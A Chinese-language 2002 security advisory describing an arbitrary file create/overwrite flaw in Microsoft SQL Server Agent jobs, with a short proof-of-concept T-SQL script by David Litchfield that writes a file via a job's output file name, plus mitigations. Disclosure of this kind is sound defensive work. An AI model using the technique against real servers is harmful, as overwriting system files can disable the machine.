Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞发布时间:2002-08-21 更新时间:2002-08-21 严重程度:高 威胁程度:远程拒绝服务 错误类型:设计错误 利用方式:服务器模式 受影响系统 Microsoft Data Engine 1.0详细描述 Microsoft SQL Server 2000使用一代理负责重新启动SQL SERVER服务,复制和运行定制的工作。 当增加一工作时,可指定文件名来输出Transact-SQL或者CmdExec JOB的结果,如果指定的文件已经存在就会被覆盖,而如果文件不存在就会建立新的文件。通过构造特殊的JOB查询可以生成指定内容的文件。 如果SQL Server Agent运行在SYSTEM权限下,攻击者可以覆盖重要的操作系统文件而使系统不能启动。 测试代码 -- ArbitraryFileCreate -- For this to work the SQL Agent should be running. -- Further, you'll need to change SERVER_NAME in -- sp_add_jobserver to the SQL Server of your choice -- -- David Litchfield -- (david@ngssoftware.com) -- 19th August 2002 USE msdb EXEC sp_add_job @job_name = 'ArbitraryFileCreate', @enabled = 1, @description = 'This will create a file called c:\sqlafc123.txt', @delete_level = 1 EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate', @step_name = 'SQLAFC', @subsystem = 'TSQL', @command = 'select ''hello, this file was created by the SQL Agent.''', @output_file_name = 'c:\sqlafc123.txt' EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate', @server_name = 'SERVER_NAME' EXEC sp_start_job @job_name = 'ArbitraryFileCreate' 解决方案 防止低用户提交作业,需要限制用户访问JOB相关的存储过程: sp_add_job sp_add_jobstep sp_add_jobserver sp_start_job 确保SQL Server Agent运行在低权限下。 相关信息 "David Litchfield" <david@ngssoftware.com>. 参考:http://online.securityfocus.com/archive/1/288010 http://online.securityfocus.com/archive/1/287700 |